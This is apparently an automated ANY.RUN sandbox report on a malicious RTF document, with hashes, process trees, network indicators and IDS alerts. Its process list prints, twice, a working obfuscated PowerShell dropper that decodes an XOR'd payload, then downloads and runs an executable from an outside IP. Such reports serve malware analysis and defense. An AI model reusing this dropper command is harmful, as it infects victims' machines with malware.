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File name:

0001.doc

Full analysis: https://app.any.run/tasks/4527da14-b444-4515-9c52-b8b0ac507275
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: February 18, 2019, 14:52:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
trojan
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

76B9C82B99E982FCD51A2976AA0E9E94

SHA1:

EE144612C7781BDADD7E35F05CFB6E4A7D78AB1D

SHA256:

85DD5C8C5C6E5315D91E15FDC13792990EC912BEE4A6EBFF38863080CE6B7A42

SSDEEP:

1536:oZd/3VFeisupZH/QsnhDYHigKtPJnFD93VFeisupZH/QsnhDYHigKtPJnFD93VFR:oHuHsnmHsnmHsnmHsnmHsnBV7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3852)
      • EXCEL.EXE (PID: 3576)

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 3852)
      • EXCEL.EXE (PID: 3576)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3264)
      • powershell.exe (PID: 4008)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2976)
      • EXCEL.EXE (PID: 3852)
      • EXCEL.EXE (PID: 3576)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: Admin
LastModifiedBy: Admin
CreateDate: 2019:01:07 23:54:00
ModifyDate: 2019:01:07 23:54:00
RevisionNumber: 1
TotalEditTime: -
Pages: 1
Words: -
Characters: 4
CharactersWithSpaces: 4
InternalVersionNumber: 57435
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
9
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs powershell.exe csc.exe cvtres.exe no specs excel.exe no specs powershell.exe csc.exe cvtres.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2976"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\0001.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3852"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3264"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile function v7b29 { param($z8c393) $q9ab839 = 'o2a63c4'; $tbe2f = ''; for ($i = 0; $i -lt $z8c393.length; $i+=2) { $g4ef6 = [convert]::ToByte($z8c393.Substring($i, 2), 16); $tbe2f += [char]($g4ef6 -bxor $q9ab839[($i / 2) % $q9ab839.length]); } return $tbe2f; } $dc18f = '1a410858544367164115535e58396547125f5d04143c4b1242560e1a3d470f425a0e51417b0f4256115b1f610444450a570a415a3b3913410d5e08551300580e411216465b025956073b391839651241161343144f123a725f0f7d02420e44474b1604571358560f075d10486b3e69144f1241161343141f47035a5a00141c4600425a00140a4a1553410d14265c156647111428571566410c572e560544561047477b0f426317464f5a2c595716580a1e414547115d01554146410c5721530c531a5839651241161343144f123a725f0f7d02420e44474b1604571358560f075d10486b3e69144f1241161343141f47035a5a00141c4600425a00140a4a1553410d14265c1566471114235d00527f0a561d53134f1b10401d5b0f51130d550257480d3e69144f12411613431434760d5a7a0e440040151e1108511d5c045a005116466f6c3c1343144f1241161313410d5e08551310400e46085513064c1b57135813015b005e41605a11401a530d66410c400a51151e7a0d403f4613165f13750b5613534010184f6728584733401d120541600a4e0a1e41435a0d404f540d785614641d5d15535017184f5d144213165d0146415a430558205e0566410c400a51151f086e3e4f1241161343144f69255a5f2a591f5d13421b417f0a400f535f500641560d5a114f142a5c15444a335b065c15160e43163d460d7b5c155122570c59411a1643123253472f551c462444410c464f0f4150520f470a1b3c3b3943144f1241161343471b53155f504351174604445d4342005b05167e0c420a7f045b5c114d477b0f426317464f560445474f14265c15664711141c40021a130a5a1b12125f49061d543f6b3b3943144f1241161343441a500d5f5043471b53155f50435d014641550555075d56491f3e69144f124116134314143f6b161343144f1241161343144f7b0f426317464f41530e005b1452122d5952077806501357411a1c190503040a4b165f5754500251010903050604560c5f01431f1a5839651241161343144f12411613435d09124945015b0757125c0b132a5a1b6215441d39511d5d483b3943144f1241161343144f12414d3e69144f1241161343144f1241161343144f40044246115a4f035a3b3943144f1241161343144f12414b3e6939651241161343144f12411613437d0146314241435957530253135e1428571566410c572e5605445610474741530e005b184f445654015a1c4d0004035552065a5457060353015a0250010352005a0254030355005910481f086e3e4f1241161343144f124116130a524f1a0c0e5200514f0f5c167a0d403f461318690646001b6c3c1343144f1241161343144f121a3b3943144f1241161343144f1241161343141d571543410d145e096c3c1343144f1241161343144f121c3b396e3e4f1241161343144f12411613367d014631424143501861084c5643094f1a347f5d17641b404803086e3e4f1241161343144f12411613165d0146416c56115b4f0f4106086e3e4f1241161343144f124116130a524f1a40605a11401a530d66410c400a51151e5e5b550c574d165714670648041a13534c5b024d165c16404f6804445c4a1d623841161343144f124116134314143f6b161343144f1241161343144f1241161311511b47135813520f623841161343144f124116134314123f6b161343144f1241161343144f7018425638694f620042500b1452121a16031b075e1e41064b05524312514e0a531412096c3c1343144f1241161343144f1228584733401d1214585e025a0e550452630c5d01460444135e14225313455b025841730d5a5c007c285e0e54520f1c5c1b5a3b3943144f1241161343144f12417b52114707530d18700c44161a315747005c4312511a13165a02530f575406503f5d08584706464312521f086e3e4f1241161343144f124116132e5b19572c535e0c46161a0f5344437d01463142414b59575302531d375b265c1500074b1d4f1941064b53045e50481a13165a02530f575406503f5d08584706464312521f086e3e4f1241161343144f1241161311511b47135813530f623841161343144f12414b3e693d664214545f0a574f411557470a574f4115445a0d534f445654015a1c1c46135f5d04141c46137f5d4a39651241161343144f121a3b396a3d664115445a0d534f580200025b14521243590102025c515514086e3e4f1241161343144f1241161310401d5b0f511304550a535553135e143c46135f5d041a2a5f11424a5839651241161343144f1241161343520040411e5a0d404f5b410b13530f4f5b410a1310401d7b0f187f065a0846090d130a14440f41041a6e3e4f1241161343144f124116131839651241161343144f1241161343144f1241544a17514f4052020052004f0f41755c0d420a401518670c761646041e401746265c4f654601471b400858544b5d4312531f1f4305591b5a3b3943144f1241161343144f12411613431408530457070614440f411e500b551d1b49440057075e0641681309575903596d1b0a144012531f134614055157070b4d780a5c06425b3e1d543f6b161343144f1241161343144f4f6c3c3e69144f1241161343144f1241164106401a400f165402510e06040d3e69144f124116134314123f6b4b'; $dc18f2 = v7b29($dc18f); Add-Type -TypeDefinition $dc18f2; [u866df]::c6632d(); Start-Sleep -s 1; $abee5b5 = $env:APPDATA; $h45da72 = $abee5b5 + '\\gbee3.exe'; If (test-path $h45da72) {Remove-Item $h45da72}; $c34c7cd = New-Object System.Net.WebClient; $c34c7cd.Headers['User-Agent'] = 'c34c7cd'; $c34c7cd.DownloadFile('http://139.99.186.18:80/3.exe', $h45da72); Start-Process -Filepath $h45da72; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2160"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\5g9rxpup.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
3200C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7C07.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7C06.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
3576"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
4008"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile function v7b29 { param($z8c393) $q9ab839 = 'o2a63c4'; $tbe2f = ''; for ($i = 0; $i -lt $z8c393.length; $i+=2) { $g4ef6 = [convert]::ToByte($z8c393.Substring($i, 2), 16); $tbe2f += [char]($g4ef6 -bxor $q9ab839[($i / 2) % $q9ab839.length]); } return $tbe2f; } $dc18f = '1a410858544367164115535e58396547125f5d04143c4b1242560e1a3d470f425a0e51417b0f4256115b1f610444450a570a415a3b3913410d5e08551300580e411216465b025956073b391839651241161343144f123a725f0f7d02420e44474b1604571358560f075d10486b3e69144f1241161343141f47035a5a00141c4600425a00140a4a1553410d14265c156647111428571566410c572e560544561047477b0f426317464f5a2c595716580a1e414547115d01554146410c5721530c531a5839651241161343144f123a725f0f7d02420e44474b1604571358560f075d10486b3e69144f1241161343141f47035a5a00141c4600425a00140a4a1553410d14265c1566471114235d00527f0a561d53134f1b10401d5b0f51130d550257480d3e69144f12411613431434760d5a7a0e440040151e1108511d5c045a005116466f6c3c1343144f1241161313410d5e08551310400e46085513064c1b57135813015b005e41605a11401a530d66410c400a51151e7a0d403f4613165f13750b5613534010184f6728584733401d120541600a4e0a1e41435a0d404f540d785614641d5d15535017184f5d144213165d0146415a430558205e0566410c400a51151f086e3e4f1241161343144f69255a5f2a591f5d13421b417f0a400f535f500641560d5a114f142a5c15444a335b065c15160e43163d460d7b5c155122570c59411a1643123253472f551c462444410c464f0f4150520f470a1b3c3b3943144f1241161343471b53155f504351174604445d4342005b05167e0c420a7f045b5c114d477b0f426317464f560445474f14265c15664711141c40021a130a5a1b12125f49061d543f6b3b3943144f1241161343441a500d5f5043471b53155f50435d014641550555075d56491f3e69144f124116134314143f6b161343144f1241161343144f7b0f426317464f41530e005b1452122d5952077806501357411a1c190503040a4b165f5754500251010903050604560c5f01431f1a5839651241161343144f12411613435d09124945015b0757125c0b132a5a1b6215441d39511d5d483b3943144f1241161343144f12414d3e69144f1241161343144f1241161343144f40044246115a4f035a3b3943144f1241161343144f12414b3e6939651241161343144f12411613437d0146314241435957530253135e1428571566410c572e5605445610474741530e005b184f445654015a1c4d0004035552065a5457060353015a0250010352005a0254030355005910481f086e3e4f1241161343144f124116130a524f1a0c0e5200514f0f5c167a0d403f461318690646001b6c3c1343144f1241161343144f121a3b3943144f1241161343144f1241161343141d571543410d145e096c3c1343144f1241161343144f121c3b396e3e4f1241161343144f12411613367d014631424143501861084c5643094f1a347f5d17641b404803086e3e4f1241161343144f12411613165d0146416c56115b4f0f4106086e3e4f1241161343144f124116130a524f1a40605a11401a530d66410c400a51151e5e5b550c574d165714670648041a13534c5b024d165c16404f6804445c4a1d623841161343144f124116134314143f6b161343144f1241161343144f1241161311511b47135813520f623841161343144f124116134314123f6b161343144f1241161343144f7018425638694f620042500b1452121a16031b075e1e41064b05524312514e0a531412096c3c1343144f1241161343144f1228584733401d1214585e025a0e550452630c5d01460444135e14225313455b025841730d5a5c007c285e0e54520f1c5c1b5a3b3943144f1241161343144f12417b52114707530d18700c44161a315747005c4312511a13165a02530f575406503f5d08584706464312521f086e3e4f1241161343144f124116132e5b19572c535e0c46161a0f5344437d01463142414b59575302531d375b265c1500074b1d4f1941064b53045e50481a13165a02530f575406503f5d08584706464312521f086e3e4f1241161343144f1241161311511b47135813530f623841161343144f12414b3e693d664214545f0a574f411557470a574f4115445a0d534f445654015a1c1c46135f5d04141c46137f5d4a39651241161343144f121a3b396a3d664115445a0d534f580200025b14521243590102025c515514086e3e4f1241161343144f1241161310401d5b0f511304550a535553135e143c46135f5d041a2a5f11424a5839651241161343144f1241161343520040411e5a0d404f5b410b13530f4f5b410a1310401d7b0f187f065a0846090d130a14440f41041a6e3e4f1241161343144f124116131839651241161343144f1241161343144f1241544a17514f4052020052004f0f41755c0d420a401518670c761646041e401746265c4f654601471b400858544b5d4312531f1f4305591b5a3b3943144f1241161343144f12411613431408530457070614440f411e500b551d1b49440057075e0641681309575903596d1b0a144012531f134614055157070b4d780a5c06425b3e1d543f6b161343144f1241161343144f4f6c3c3e69144f1241161343144f1241164106401a400f165402510e06040d3e69144f124116134314123f6b4b'; $dc18f2 = v7b29($dc18f); Add-Type -TypeDefinition $dc18f2; [u866df]::c6632d(); Start-Sleep -s 1; $abee5b5 = $env:APPDATA; $h45da72 = $abee5b5 + '\\gbee3.exe'; If (test-path $h45da72) {Remove-Item $h45da72}; $c34c7cd = New-Object System.Net.WebClient; $c34c7cd.Headers['User-Agent'] = 'c34c7cd'; $c34c7cd.DownloadFile('http://139.99.186.18:80/3.exe', $h45da72); Start-Process -Filepath $h45da72; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3056"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\lcljds8c.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
2188C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES8BD6.tmp" "c:\Users\admin\AppData\Local\Temp\CSC8BD5.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Total events
1 266
Read events
1 092
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
2976WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6C66.tmp.cvr —
MD5:—
SHA256:—
3852EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR736B.tmp.cvr —
MD5:—
SHA256:—
3264powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S8YC4797HN4SCVCOHFY0.temp —
MD5:—
SHA256:—
2160csc.exeC:\Users\admin\AppData\Local\Temp\CSC7C06.tmp —
MD5:—
SHA256:—
2160csc.exeC:\Users\admin\AppData\Local\Temp\5g9rxpup.pdb —
MD5:—
SHA256:—
3200cvtres.exeC:\Users\admin\AppData\Local\Temp\RES7C07.tmp —
MD5:—
SHA256:—
2160csc.exeC:\Users\admin\AppData\Local\Temp\5g9rxpup.dll —
MD5:—
SHA256:—
2160csc.exeC:\Users\admin\AppData\Local\Temp\5g9rxpup.out —
MD5:—
SHA256:—
3576EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR851F.tmp.cvr —
MD5:—
SHA256:—
4008powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YUO6VGMT1HSDM7H87X7R.temp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3264
powershell.exe
GET
—
139.99.186.18:80
http://139.99.186.18/3.exe
AU
—
—
malicious
4008
powershell.exe
GET
—
139.99.186.18:80
http://139.99.186.18/3.exe
AU
—
—
malicious
3264
powershell.exe
GET
—
139.99.186.18:80
http://139.99.186.18/3.exe
AU
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4008
powershell.exe
139.99.186.18:80
—
OVH SAS
AU
malicious
3264
powershell.exe
139.99.186.18:80
—
OVH SAS
AU
malicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3264
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3264
powershell.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3264
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3264
powershell.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
4008
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
4008
powershell.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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